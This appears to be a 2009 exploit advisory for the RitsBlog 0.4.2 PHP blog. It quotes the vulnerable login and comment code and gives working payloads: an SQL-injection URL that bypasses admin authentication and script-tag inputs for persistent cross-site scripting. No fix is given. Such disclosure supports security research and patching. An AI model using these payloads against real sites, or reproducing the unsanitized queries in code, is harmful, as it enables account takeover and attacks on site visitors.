ritsblog 0.4.2 - Authentication Bypass / Cross-Site Scripting

*******   Salvatore "drosophila" Fresta   *******

[+] Application: RitsBlog
[+] Version: 0.4.2
[+] Website: http://sourceforge.net/projects/ritsblog/

[+] Bugs: [A] SQL Injection
          [B] XSS Persistent

[+] Exploitation: Remote
[+] Date: 02 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


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[+] Menu

- [1] Bugs
- [2] Code
- [3] Fix


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[+] Bugs

- [A] SQL Injection

[-] Requisites: magic_quotes_gpc = off
[-] File affected: ritsBlogAdmin.class.php

This blog is entirely vulnerable to SQL Injection.
The following is the vulnerable query that can be
used to bypass authentication.

In jobs.php:

if ($_GET[j] == "login"){
     if ($blog -> login($_GET[p])){
         $_SESSION[loggedin] = "ok";
         $_SESSION[userID] = $blog -> userID;
         echo "Password found. Loging in...";
         ....

In ritsBlogAdmin.class.php:

function login($password){
         global $db;
         $sql = "select * from users where secretWord  = '$password'";
         ...
}


- [B] XSS Persistent

[-] Requisites: none
[-] File affected: ritsBlogAdmin.class.php

In jobs.php:

if ($_POST[j] == "addComment"){
         echo $blog -> addComment($_POST[id], $_POST[name],
$_POST[body]);
}

In ritsBlogAdmin.class.php

function addComment($id, $name, $body){
         global $db;
         $sql = "INSERT INTO comments (name, postID, date, text)
VALUES('" . addslashes($name) . "','" . $id . "',NOW(),'" .
addslashes($body) . "')";
         ...
}


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[+] Code

- [A] SQL Injection

http://www.site.com/path/blogAdmin/jobs.php?j=login&p=1'or'1'='1


- [B] XSS Persistent

It is possible using forms in the index.php or
to send over POST method the following values:

?j=addComment&id=54&name=myname&body=<script>alert('XSS');</script>

or

?j=addComment&id=54&name=<script>alert('XSS');</script>&body=body


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[+] Fix

No fix.


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-- Salvatore "drosophila" Fresta CWNP444351 

# milw0rm.com [2009-03-02]